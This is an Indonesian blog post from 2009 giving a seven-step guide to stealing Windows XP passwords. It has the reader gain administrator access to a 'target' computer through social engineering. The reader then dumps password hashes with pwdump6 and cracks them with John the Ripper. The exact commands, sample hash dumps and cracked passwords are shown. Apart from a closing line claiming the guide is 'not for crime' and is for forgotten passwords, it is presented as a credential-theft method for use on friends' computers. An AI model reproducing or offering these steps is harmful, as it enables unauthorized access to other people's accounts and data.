Selasa, 07 Juli 2009

7 Langkah Mencuri Password Komputer

Pada kesempatan kali ini saya ingin derbagi sedikit dengan teman-teman tentang bagaimana caranya membobol password komputer
khususnya yang bersistem operasi Windows XP SP2 kebawah. Semoga bermanfaat bagi kita semua.
1. Siapkan:
a. Muka Bego dan memelas.
b.Simpan dan bawa dalam Flash Disk PwDump kemanapun anda pergi anda pergi.
kalo belum punya donlot dulu Disini
c. Pastikan anda punya John The Ripper untuk mendeskripsi password yang sudah kita ambil.
kalo belum punya donlot dulu disini
2. Login komputer target dengan account administrator. Untuk mempermudah gunakan muka bego dan memelas tadi.
3. Copykan PwDump tadi ke Drive C:\ agar mudah diakses, jangan digunakan dari flash disk.
4.Jalankan PwDump misalkan kita simpan di C:\Pwdump\PwDump.exe -o pass.txt 127.0.0.1

pwdump6 Version 1.3.0 by fizzgig and the mighty group at foofus.net
Copyright 2006 foofus.net

This program is free software under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program
and the GNU GPL for further details.

Using pipe {C411BDE9-594E-47F4-99B5-E94ADF194A45}
Key length is 16
Completed.

5. Sekarang anda mempunyai sebuah File pass.txt yang berisi Password Admin di komputer tsb. Misalnya:

ach:1003:2BFA42D08601B951ABD697149E2F5967:73098347042E9109FA584CE843018F4F:::
Administrator:500:934A4750EC9859B3EA397B0F6EC18E34:732BD09D6834DA4A5A30300A6A045BF8:::
coba:1004:FBE4F28EE205F0BA79999C25263AA9AA:A69C199A4DF77CD41FCA6EA916A93868:::
Guest:501:NO PASSWORD********************* :NO PASSWORD*********************:::
HelpAssistant:1000:B3D2AE56C93F27B43C4F8419B1A21E9B: DC3DBB258A10B0C7EA9D92133267B905:::
SUPPORT_388945a0:1002:NO PASSWORD*********************: DF1DB672DA1B5C045ECA2490CA753D3B:::

6. Ok...!!! password sudah di tangan. Tinggal kite deskripsi pake bantuan John The Ripper. Berdasarkan yang saya ketahui waktu
yang dibutuhkan untuk mengenkripsi suatu password itu bervariasi berdasarkan kombinasi karakter yang digunakan, maka untuk password
yang sederhana biasanya lebih cepat seperti "admin" dibanding dengan yang lebih rumit seperti "P4ssW0rD".
Caranya simpan file yang akan kita crack bersama dengan John-mmx.exe berada. Kita asumsikan John berada di C:\john\run lalu ketik di comand prompt:

C:\john\run\john pass.txt
Loaded 8 password hashes with no different salts (NT LM DES [64/64 BS MMX])
REN123 (Administrator:2)
TEBAK (coba:2)
ADMINKE (Administrator:1)
MUDAHDI (coba:1)

7. Yup... Password sudah kita dapatkan yaitu: "Adminkeren123" untuk User Administrator. Ini didapat dari penggabungan
Administrator:1 + Administrator:2=ADMINKEREN123
sedangkan untuk user coba passwordnya adalah "MUDAHDITEBAK".

Mudah bukan? Intinya sih tinggal ambil HASH file (password yang dienkripsi) menggunakan pwdump6 lalu crack hasilnya dengan John The Ripper.
Semoga informasi ini dapat berguna bagi teman-teman semua. Semua yang dijelaskan disini adalah untuk membatu teman-teman yang
mungkim kelupaan password admin atau yang sering pinjem komputer temen sehingga gak harus cari-cari orangnya terus. Bukan Untuk Kejahatan

Tidak ada komentar:

Posting Komentar